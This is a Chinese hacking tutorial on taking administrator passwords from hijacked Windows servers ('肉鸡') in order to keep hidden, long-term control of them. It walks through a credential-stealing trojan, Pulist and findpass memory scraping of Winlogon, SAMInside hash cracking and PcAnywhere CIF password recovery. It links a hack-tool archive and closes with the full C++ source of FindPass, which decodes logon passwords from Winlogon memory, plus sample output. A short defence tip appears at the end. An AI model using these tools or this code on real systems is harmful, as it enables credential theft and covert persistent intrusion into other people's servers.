四招齐出——直取管理员密码

本文介绍了四种获取服务器管理员账号密码的有效方法,包括利用Win2k密码大盗、Pulist和findpass配合使用、暴力破解密码以及破解远程管理软件密码。同时还提供了防范措施建议。
千辛万苦找到一台服务器(俗称“肉鸡”)并将它控制,定会想尽办法保持这段“姻缘”,于是乎,各种后门齐上阵。结果呢?鸡飞蛋打,毕竟人家的杀毒软件不是摆设。克隆或建一个管理员账户呢?这也只是一相情愿,肉鸡主人运行一个指令就可让你原形毕露。怎么办?
  其实我们在肉鸡上动的手脚越多,被服务器管理员发现的机率也越大,最为有效的办法就是直接获取现有管理员的账号和密码,这样我们可以在不改动任何配置的情况下在肉鸡上留下一个最为隐蔽的后门。
  获取管理员账号和密码的方法多种多样,笔者为大家总结出了四种非常典型的方法,可把账号信息轻而易举纳入囊中。
1 暗箭难防——利用“Win2k 密码大盗”窃取密码
  适用点:适用于Windows 2000/XP系统,想把密码一网打尽的情况下。
  特点:肉鸡上登录过的任何用户的密码都难逃此“暗箭”的偷袭。
  说到获取管理员的账号和密码就不得不提“Win2k 密码大盗”,它可运行于Windows 2000或Windows XP。只要有用户登录系统,程序就会把当前登录用户的账号和密码信息保存在配置文件中。
  软件运行后便会将自身删除,并复制木马文件到系统中,同时会和系统内核挂钩,增加与系统的联系,隐蔽性极强,普通用户很难自行删除。
  接下来就等待肉鸡管理员登录,被记录下来的密码信息会保存在肉鸡系统临时文件夹下的config.ini文件中,用记事本打开该文件,管理员登录时的账号、密码一览无遗

  提示:软件在Windows XP下运行后,系统的欢迎界面将被换为传统的登录界面,这样必然使管理员起疑心,使隐蔽性大打折扣,因此最好别在操作系统为Windows XP的肉鸡中使用此方法。
2 强强联手——Pulist和findpass配合盗取密码
  适用点:肉鸡上当前登录的账户是系统管理员。
  特点:可立即得到当前登录的管理员账户和密码。
  如果我们来不及等到肉鸡重启或只想得到当前管理员密码,那么“Pulist”和“findpass”这两个小工具就可以派上用场了。
  当管理员以图形界面方式登录系统时,登录的域名和用户名以明文方式存储在Winlogon进程里,findpass就是利用Winlogon的PID号和正确的域名在加密的内存中寻找密文,然后再把密码从中还原出来,这样我们就能得到管理员密码。
  首先,在肉鸡上建立一个文件夹(如“C:/pass”),把这两个工具上传到该文件夹中。上传成功后进入肉鸡的命令提示符窗口,用“CD”命令进入“pass”文件夹。
  接着输入“Pulist”,程序会把当前系统运行的进程显示出来,并标明PID号。我们需要在其中找到两样东西,即“Winlogon”进程的PID号(这里是652)和当前管理员登录的域和账户名(这里是AJ和jie)。

  然后输入“findpass”,使用格式为“findpass 域 用户名 Winlogon的PID值”的命令,在命令提示符窗口中输入“findpass AJ jie 652”并回车即可。在“The logon information is”后面显示的“66795863”就是我们所需要的密码。
  提示:findpass只对以图形登录方式进行登录的管理员账号有效。
3 釜底抽薪——暴力方式破解密码
  适用点:得到肉鸡系统的SAM文件情况下。
  特点:可一次性快速高效地破解多个账户及密码。
  如果一只“肉鸡”上有数个或数十个用户,要把他们的密码都用木马类软件记录下来非常困难。如何才能更快地得到密码呢?
  试试暴力破解吧,不要认为现在的暴力破解还停留在慢如蜗牛的水平上,针对系统用户账户进行破解的软件已非常强大,有些工具每秒可以猜测几百万次。而“SAMInside”就是这样一款软件,它虽然只有100KB左右大小,但破解能力异常强大,甚至可以破解“SYSKEY”加密过的密码。
  运行“SAMInside”,点击“Open file”导入密码文件,可以是SAM、PWDUMP等文件。
  提示:Windows 2000和Windows XP的用户信息都存储在一个名为“SAM”的文件中,该文件位于系统目录下的“repair”文件夹中。
  我们以破解本地的管理员密码为例。点击工具栏上的“Import local machine SAM”按钮,从本地导入密码文件。我们以破解本地“SAM”为例。
  进行导入操作后,所有用户都会显示出来,选择一个管理员账户(如“jie”),然后点击“Attack options”按钮进行破解设置。可以选择“LMHash”或“NTHash”破解,同时还可以选择“暴力破解(Brute-force attack)”、“字典破解(Dictionary attack)”等方式。
  设置完毕,点击“开始”按钮,密码便会显示出来。

4 另施巧劲——向远程管理软件下手
  适用点:肉鸡上安装有“PcAnywhere”等远程管理软件。
  特点:破解成功率极高。
  有的管理员为了方便远程管理,通常会在服务器上安装一些远程管理软件,如著名的“PcAnywhere”和“VNC”。这些软件的安装和使用都需要管理员权限,因此,只要我们获取了远程管理软件的管理员密码,就等于完全控制了肉鸡。
  我们以“PcAnywhere”为例。它的管理员信息会存储在“C:/Documents and Settings/All Users/Application Data/Symantec/pcanywhere/”下的后缀名为“CIF”的文件中。我们可以在得到的Shell或WebShell中进入这个存放配制文件的文件夹,然后下载这个文件,胜利便属于我们。
  将“CIF”文件用“PcAnywhere Passview”打开,这是一款专门用于查看“PcAnywhere”密码的软件,它会直接还原密码,因此再复杂的密码也可在瞬间得到。
  有了这四种方法,获取肉鸡管理员的账户和密码将不再是难事。以后如果遇到后门被删的情况,就可利用获取的管理员账户和密码进行IPC连接,或使用“RECTON”这款利用WMI服务漏洞的软件来执行任意命令。这样就可长时间控制肉鸡。
  文中提到的软件的下载地址:www.nl297.com/hack.rar
  防范措施:作为管理员,我们可以从以下几点进行防范:使用复杂密码,这样可以增加攻击者进行破解的难度;及时升级杀毒软件,让黑客程序无处藏身;平时尽量少用管理员账户进行操作,这样即使被溢出也不会有很大的损失。
// Find Password from winlogon in win2000 / winnt4 + < sp6 // // PasswordReminder.cpp --> FindPass.cpp // 1. http://www.smidgeonsoft.com/ // 2. shotgun add comment, bingle change a little to find other user in winlogon // This code is licensed under the terms of the GPL (gnu public license). // // Usage: FindPass DomainName UserName PID-of-WinLogon // // you can get the three params from pulist output in target system. // /* 因为登陆的域名和用户名是明文存储在winlogon进程里的,而PasswordReminder是限定了查本进程用户的密码 <167-174: GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW (L"USERDOMAIN", UserDomain, 0x400); >,然后到winlogon进程的空间中查UserDomain和UserName < 590:// 在WinLogon的内存空间中寻UserName和DomainName的字符串 if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) > ,到后就查后边的加密口令。 其实只要你自己指定用户名和winlogon进程去查就行了,只要你是管理员,任何本机用msgina.dll图形登陆的用户口令都可以到。 1. pulist,到系统里登陆的域名和用户名,及winlogon进程id 2. 然后给每个winlogon进程id查指定的用户就行了。 example: C:\Documents and Settings\bingle>pulist Process PID User Idle 0 System 8 smss.exe 164 NT AUTHORITY\SYSTEM csrss.exe 192 NT AUTHORITY\SYSTEM winlogon.exe 188 NT AUTHORITY\SYSTEM wins.exe 1212 NT AUTHORITY\SYSTEM Explorer.exe 388 TEST-2KSERVER\Administrator internat.exe 1828 TEST-2KSERVER\Administrator conime.exe 1868 TEST-2KSERVER\Administrator msiexec.exe 1904 NT AUTHORITY\SYSTEM tlntsvr.exe 1048 NT AUTHORITY\SYSTEM taskmgr.exe 1752 TEST-2KSERVER\Administrator csrss.exe 2056 NT AUTHORITY\SYSTEM winlogon.exe 2416 NT AUTHORITY\SYSTEM rdpclip.exe 2448 TEST-2KSERVER\clovea Explorer.exe 2408 TEST-2KSERVER\clovea internat.exe 1480 TEST-2KSERVER\clovea cmd.exe 2508 TEST-2KSERVER\Administrator ntshell.exe 368 TEST-2KSERVER\Administrator ntshell.exe 1548 TEST-2KSERVER\Administrator ntshell.exe 1504 TEST-2KSERVER\Administrator csrss.exe 1088 NT AUTHORITY\SYSTEM winlogon.exe 1876 NT AUTHORITY\SYSTEM rdpclip.exe 1680 TEST-2KSERVER\bingle Explorer.exe 2244 TEST-2KSERVER\bingle conime.exe 2288 TEST-2KSERVER\bingle internat.exe 1592 TEST-2KSERVER\bingle cmd.exe 1692 TEST-2KSERVER\bingle mdm.exe 2476 TEST-2KSERVER\bingle taskmgr.exe 752 TEST-2KSERVER\bingle pulist.exe 2532 TEST-2KSERVER\bingle C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER administrator 188 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 188 (0x000000bc). To find TEST-2KSERVER\administrator password in process 188 ... The encoded password is found at 0x008e0800 and has a length of 10. The logon information is: TEST-2KSERVER/administrator/testserver. The hash byte is: 0x13. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\clovea password in process 1876 ... PasswordReminder is unable to find the password in memory. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER bingle 1876 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 1876 (0x00000754). To find TEST-2KSERVER\bingle password in process 1876 ... The logon information is: TEST-2KSERVER/bingle. There is no password. C:\Documents and Settings\bingle>D:\FindPass.exe TEST-2KSERVER clovea 2416 To Find Password in the Winlogon process Usage: D:\FindPass.exe DomainName UserName PID-of-WinLogon The debug privilege has been added to PasswordReminder. The WinLogon process id is 2416 (0x00000970). To find TEST-2KSERVER\clovea password in process 2416 ... The logon information is: TEST-2KSERVER/clovea. There is no password. C:\Documents and Settings\bingle> */ #include <stdafx.h> #include <windows.h> #include <tchar.h> #include <stdio.h> #include <stdlib.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; // Undocumented typedef's typedef struct _QUERY_SYSTEM_INFORMATION { DWORD GrantedAccess; DWORD PID; WORD HandleType; WORD HandleId; DWORD Handle; } QUERY_SYSTEM_INFORMATION, *PQUERY_SYSTEM_INFORMATION; typedef struct _PROCESS_INFO_HEADER { DWORD Count; DWORD Unk04; DWORD Unk08; } PROCESS_INFO_HEADER, *PPROCESS_INFO_HEADER; typedef struct _PROCESS_INFO { DWORD LoadAddress; DWORD Size; DWORD Unk08; DWORD Enumerator; DWORD Unk10; char Name [0x108]; } PROCESS_INFO, *PPROCESS_INFO; typedef struct _ENCODED_PASSWORD_INFO { DWORD HashByte; DWORD Unk04; DWORD Unk08; DWORD Unk0C; FILETIME LoggedOn; DWORD Unk18; DWORD Unk1C; DWORD Unk20; DWORD Unk24; DWORD Unk28; UNICODE_STRING EncodedPassword; } ENCODED_PASSWORD_INFO, *PENCODED_PASSWORD_INFO; typedef DWORD (__stdcall *PFNNTQUERYSYSTEMINFORMATION) (DWORD, PVOID, DWORD, PDWORD); typedef PVOID (__stdcall *PFNRTLCREATEQUERYDEBUGBUFFER) (DWORD, DWORD); typedef DWORD (__stdcall *PFNRTLQUERYPROCESSDEBUGINFORMATION) (DWORD, DWORD, PVOID); typedef void (__stdcall *PFNRTLDESTROYQUERYDEBUGBUFFER) (PVOID); typedef void (__stdcall *PFNTRTLRUNDECODEUNICODESTRING) (BYTE, PUNICODE_STRING); // Private Prototypes BOOL IsWinNT (void); BOOL IsWin2K (void); BOOL AddDebugPrivilege (void); DWORD FindWinLogon (void); BOOL LocatePasswordPageWinNT (DWORD, PDWORD); BOOL LocatePasswordPageWin2K (DWORD, PDWORD); void DisplayPasswordWinNT (void); void DisplayPasswordWin2K (void); // Global Variables PFNNTQUERYSYSTEMINFORMATION pfnNtQuerySystemInformation; PFNRTLCREATEQUERYDEBUGBUFFER pfnRtlCreateQueryDebugBuffer; PFNRTLQUERYPROCESSDEBUGINFORMATION pfnRtlQueryProcessDebugInformation; PFNRTLDESTROYQUERYDEBUGBUFFER pfnRtlDestroyQueryDebugBuffer; PFNTRTLRUNDECODEUNICODESTRING pfnRtlRunDecodeUnicodeString; DWORD PasswordLength = 0; PVOID RealPasswordP = NULL; PVOID PasswordP = NULL; DWORD HashByte = 0; wchar_t UserName [0x400]; wchar_t UserDomain [0x400]; int __cdecl main( int argc, char* argv[] ) { printf( "\n\t To Find Password in the Winlogon process\n" ); printf( " Usage: %s DomainName UserName PID-of-WinLogon\n\n", argv[0] ); if ((!IsWinNT ()) && (!IsWin2K ())) { printf ("Windows NT or Windows 2000 are required.\n"); return (0); } // Add debug privilege to PasswordReminder - // this is needed for the search for Winlogon. // 增加PasswordReminder的权限 // 使得PasswordReminder可以打开并调试Winlogon进程 if (!AddDebugPrivilege ()) { printf ("Unable to add debug privilege.\n"); return (0); } printf ("The debug privilege has been added to PasswordReminder.\n"); // 获得几个未公开API的入口地址 HINSTANCE hNtDll = LoadLibrary ("NTDLL.DLL"); pfnNtQuerySystemInformation = (PFNNTQUERYSYSTEMINFORMATION) GetProcAddress (hNtDll, "NtQuerySystemInformation"); pfnRtlCreateQueryDebugBuffer = (PFNRTLCREATEQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlCreateQueryDebugBuffer"); pfnRtlQueryProcessDebugInformation = (PFNRTLQUERYPROCESSDEBUGINFORMATION) GetProcAddress (hNtDll, "RtlQueryProcessDebugInformation"); pfnRtlDestroyQueryDebugBuffer = (PFNRTLDESTROYQUERYDEBUGBUFFER) GetProcAddress (hNtDll, "RtlDestroyQueryDebugBuffer"); pfnRtlRunDecodeUnicodeString = (PFNTRTLRUNDECODEUNICODESTRING) GetProcAddress (hNtDll, "RtlRunDecodeUnicodeString"); // Locate WinLogon's PID - need debug privilege and admin rights. // 获得Winlogon进程的PID // 这里作者使用了几个Native API,其实使用PSAPI一样可以 DWORD WinLogonPID = argc > 3 ? atoi( argv[3] ) : FindWinLogon () ; if (WinLogonPID == 0) { printf ("PasswordReminder is unable to find WinLogon or you are using NWGINA.DLL.\n"); printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } printf("The WinLogon process id is %d (0x%8.8lx).\n", WinLogonPID, WinLogonPID); // Set values to check memory block against. // 初始化几个和用户账号相关的变量 memset(UserName, 0, sizeof (UserName)); memset(UserDomain, 0, sizeof (UserDomain)); if( argc > 2 ) { mbstowcs( UserName, argv[2], sizeof(UserName)/sizeof(*UserName) ); mbstowcs( UserDomain, argv[1], sizeof(UserDomain)/sizeof(*UserDomain) ); }else { GetEnvironmentVariableW(L"USERNAME", UserName, 0x400); GetEnvironmentVariableW(L"USERDOMAIN", UserDomain, 0x400); } printf( " To find %S\\%S password in process %d ...\n", UserDomain, UserName, WinLogonPID ); // Locate the block of memory containing // the password in WinLogon's memory space. // 在Winlogon进程中定位包含Password的内存块 BOOL FoundPasswordPage = FALSE; if (IsWin2K ()) FoundPasswordPage = LocatePasswordPageWin2K (WinLogonPID, &PasswordLength); else FoundPasswordPage = LocatePasswordPageWinNT (WinLogonPID, &PasswordLength); if (FoundPasswordPage) { if (PasswordLength == 0) { printf ("The logon information is: %S/%S.\n", UserDomain, UserName); printf ("There is no password.\n"); } else { printf ("The encoded password is found at 0x%8.8lx and has a length of %d.\n", RealPasswordP, PasswordLength); // Decode the password string. if (IsWin2K ()) DisplayPasswordWin2K (); else DisplayPasswordWinNT (); } } else printf ("PasswordReminder is unable to find the password in memory.\n"); FreeLibrary (hNtDll); return (0); } // main // // IsWinNT函数用来判断操作系统是否WINNT // BOOL IsWinNT (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT); else return (FALSE); } // IsWinNT // // IsWin2K函数用来判断操作系统是否Win2K // BOOL IsWin2K (void) { OSVERSIONINFO OSVersionInfo; OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (&OSVersionInfo)) return ((OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) && (OSVersionInfo.dwMajorVersion == 5)); else return (FALSE); } // IsWin2K // // AddDebugPrivilege函数用来申请调试Winlogon进程的特权 // BOOL AddDebugPrivilege (void) { HANDLE Token; TOKEN_PRIVILEGES TokenPrivileges, PreviousState; DWORD ReturnLength = 0; if (OpenProcessToken (GetCurrentProcess (), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &Token)) if (LookupPrivilegeValue (NULL, "SeDebugPrivilege", &TokenPrivileges.Privileges[0].Luid)) { TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; return (AdjustTokenPrivileges (Token, FALSE, &TokenPrivileges, sizeof (TOKEN_PRIVILEGES), &PreviousState, &ReturnLength)); } return (FALSE); } // AddDebugPrivilege // // Note that the following code eliminates the need // for PSAPI.DLL as part of the executable. // FindWinLogon函数用来寻WinLogon进程 // 由于作者使用的是Native API,因此不需要PSAPI的支持 // DWORD FindWinLogon (void) { #define INITIAL_ALLOCATION 0x100 DWORD rc = 0; DWORD SizeNeeded = 0; PVOID InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, INITIAL_ALLOCATION); // Find how much memory is required. pfnNtQuerySystemInformation (0x10, InfoP, INITIAL_ALLOCATION, &SizeNeeded); HeapFree (GetProcessHeap (), 0, InfoP); // Now, allocate the proper amount of memory. InfoP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SizeNeeded); DWORD SizeWritten = SizeNeeded; if (pfnNtQuerySystemInformation (0x10, InfoP, SizeNeeded, &SizeWritten)) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } DWORD NumHandles = SizeWritten / sizeof (QUERY_SYSTEM_INFORMATION); if (NumHandles == 0) { HeapFree (GetProcessHeap (), 0, InfoP); return (0); } PQUERY_SYSTEM_INFORMATION QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) InfoP; DWORD i; for (i = 1; i <= NumHandles; i++) { // "5" is the value of a kernel object type process. if (QuerySystemInformationP->HandleType == 5) { PVOID DebugBufferP = pfnRtlCreateQueryDebugBuffer (0, 0); if (pfnRtlQueryProcessDebugInformation (QuerySystemInformationP->PID, 1, DebugBufferP) == 0) { PPROCESS_INFO_HEADER ProcessInfoHeaderP = (PPROCESS_INFO_HEADER) ((DWORD) DebugBufferP + 0x60); DWORD Count = ProcessInfoHeaderP->Count; PPROCESS_INFO ProcessInfoP = (PPROCESS_INFO) ((DWORD) ProcessInfoHeaderP + sizeof (PROCESS_INFO_HEADER)); if (strstr (_strupr (ProcessInfoP->Name), "WINLOGON") != 0) { DWORD i; DWORD dw = (DWORD) ProcessInfoP; for (i = 0; i < Count; i++) { dw += sizeof (PROCESS_INFO); ProcessInfoP = (PPROCESS_INFO) dw; if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0) return (0); if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0) rc = QuerySystemInformationP->PID; } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } } if (DebugBufferP) pfnRtlDestroyQueryDebugBuffer (DebugBufferP); } DWORD dw = (DWORD) QuerySystemInformationP; dw += sizeof (QUERY_SYSTEM_INFORMATION); QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw; } HeapFree (GetProcessHeap (), 0, InfoP); return (rc); } // FindWinLogon // // LocatePasswordPageWinNT函数用来在NT中到用户密码 // BOOL LocatePasswordPageWinNT (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WINNT 0x200 #define USER_PASSWORD_OFFSET_WINNT 0x400 BOOL rc = FALSE; HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (rc); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD PEB = 0x7ffdf000; DWORD BytesCopied = 0; PVOID PEBP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, SystemInfo.dwPageSize); if (!ReadProcessMemory (WinLogonHandle, (PVOID) PEB, PEBP, SystemInfo.dwPageSize, &BytesCopied)) { CloseHandle (WinLogonHandle); return (rc); } // Grab the value of the 2nd DWORD in the TEB. PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD))); MEMORY_BASIC_INFORMATION MemoryBasicInformation; if (VirtualQueryEx (WinLogonHandle, (PVOID) *WinLogonHeap, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID WinLogonMemP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); if (ReadProcessMemory (WinLogonHandle, (PVOID) *WinLogonHeap, WinLogonMemP, MemoryBasicInformation.RegionSize, &BytesCopied)) { DWORD i = (DWORD) WinLogonMemP; DWORD UserNamePos = 0; // The order in memory is UserName followed by the UserDomain. // 在内存中搜索UserName和UserDomain字符串 do { if ((wcsicmp (UserName, (wchar_t *) i) == 0) && (wcsicmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0)) { UserNamePos = i; break; } i += 2; } while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize); if (UserNamePos) { PENCODED_PASSWORD_INFO EncodedPasswordInfoP = (PENCODED_PASSWORD_INFO) ((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT); FILETIME LocalFileTime; SYSTEMTIME SystemTime; if (FileTimeToLocalFileTime (&EncodedPasswordInfoP->LoggedOn, &LocalFileTime)) if (FileTimeToSystemTime (&LocalFileTime, &SystemTime)) printf ("You logged on at %d/%d/%d %d:%d:%d\n", SystemTime.wMonth, SystemTime.wDay, SystemTime.wYear, SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond); *PasswordLength = (EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t); // NT就是好,hash-byte直接放在编码中:) HashByte = (EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8; RealPasswordP = (PVOID) (*WinLogonHeap + (UserNamePos - (DWORD) WinLogonMemP) + USER_PASSWORD_OFFSET_WINNT + 0x34); PasswordP = (PVOID) ((PBYTE) (UserNamePos + USER_PASSWORD_OFFSET_WINNT + 0x34)); rc = TRUE; } } } HeapFree (GetProcessHeap (), 0, PEBP); CloseHandle (WinLogonHandle); return (rc); } // LocatePasswordPageWinNT // // LocatePasswordPageWin2K函数用来在Win2K中到用户密码 // BOOL LocatePasswordPageWin2K (DWORD WinLogonPID, PDWORD PasswordLength) { #define USER_DOMAIN_OFFSET_WIN2K 0x400 #define USER_PASSWORD_OFFSET_WIN2K 0x800 HANDLE WinLogonHandle = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, WinLogonPID); if (WinLogonHandle == 0) return (FALSE); *PasswordLength = 0; SYSTEM_INFO SystemInfo; GetSystemInfo (&SystemInfo); DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress; DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress; DWORD Increment = SystemInfo.dwPageSize; MEMORY_BASIC_INFORMATION MemoryBasicInformation; while (i < MaxMemory) { if (VirtualQueryEx (WinLogonHandle, (PVOID) i, &MemoryBasicInformation, sizeof (MEMORY_BASIC_INFORMATION))) { Increment = MemoryBasicInformation.RegionSize; if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT) && ((MemoryBasicInformation.Protect & PAGE_GUARD) == 0)) { PVOID RealStartingAddressP = HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, MemoryBasicInformation.RegionSize); DWORD BytesCopied = 0; if (ReadProcessMemory (WinLogonHandle, (PVOID) i, RealStartingAddressP, MemoryBasicInformation.RegionSize, &BytesCopied)) { // 在WinLogon的内存空间中寻UserName和DomainName的字符串 if ((wcsicmp ((wchar_t *) RealStartingAddressP, UserName) == 0) && (wcsicmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0)) { RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K); PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K); // Calculate the length of encoded unicode string. // 计算出密文的长度 PBYTE p = (PBYTE) PasswordP; DWORD Loc = (DWORD) p; DWORD Len = 0; if ((*p == 0) && (* (PBYTE) ((DWORD) p + 1) == 0)) ; else do { Len++; Loc += 2; p = (PBYTE) Loc; } while (*p != 0); *PasswordLength = Len; CloseHandle (WinLogonHandle); return (TRUE); } } HeapFree (GetProcessHeap (), 0, RealStartingAddressP); } } else Increment = SystemInfo.dwPageSize; // Move to next memory block. i += Increment; } CloseHandle (WinLogonHandle); return (FALSE); } // LocatePasswordPageWin2K // // DisplayPasswordWinNT函数用来在NT中解码用户密码 // void DisplayPasswordWinNT (void) { UNICODE_STRING EncodedString; EncodedString.Length = (WORD) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - decode the password. // Note that only one call is required since the hash-byte // was part of the orginally encoded string. // 在NT中,hash-byte是包含在编码中的 // 因此只需要直接调用函数解码就可以了 pfnRtlRunDecodeUnicodeString ((BYTE) HashByte, &EncodedString); printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", HashByte); HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWinNT // // DisplayPasswordWin2K函数用来在Win2K中解码用户密码 // void DisplayPasswordWin2K (void) { DWORD i, Hash = 0; UNICODE_STRING EncodedString; EncodedString.Length = (USHORT) PasswordLength * sizeof (wchar_t); EncodedString.MaximumLength = ((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t); EncodedString.Buffer = (PWSTR) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, EncodedString.MaximumLength); // This is a brute force technique since the hash-byte // is not stored as part of the encoded string - :>(. // 因为在Win2K中hash-byte并不存放在编码中 // 所以在这里进行的是暴力破解 // 下面的循环中i就是hash-byte // 我们将i从0x00到0xff分别对密文进行解密 // 如果有一个hash-byte使得所有密码都是可见字符,就认为是有效的 // 这个算法实际上是从概率角度来解码的 // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 for (i = 0; i <= 0xff; i++) { CopyMemory (EncodedString.Buffer, PasswordP, PasswordLength * sizeof (wchar_t)); // Finally - try to decode the password. // 使用i作为hash-byte对密文进行解码 pfnRtlRunDecodeUnicodeString ((BYTE) i, &EncodedString); // Check for a viewable password. // 检查解码出的密码是否完全由可见字符组成 // 如果是则认为是正确的解码 PBYTE p = (PBYTE) EncodedString.Buffer; BOOL Viewable = TRUE; DWORD j, k; for (j = 0; (j < PasswordLength) && Viewable; j++) { if ((*p) && (* (PBYTE)(DWORD (p) + 1) == 0)) { if (*p < 0x20) Viewable = FALSE; if (*p > 0x7e) Viewable = FALSE; //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了 } else Viewable = FALSE; k = DWORD (p); k++; k++; p = (PBYTE) k; } if (Viewable) { printf ("The logon information is: %S/%S/%S.\n", UserDomain, UserName, EncodedString.Buffer); printf ("The hash byte is: 0x%2.2x.\n", i); } } HeapFree (GetProcessHeap (), 0, EncodedString.Buffer); } // DisplayPasswordWin2K // end PasswordReminder.cpp
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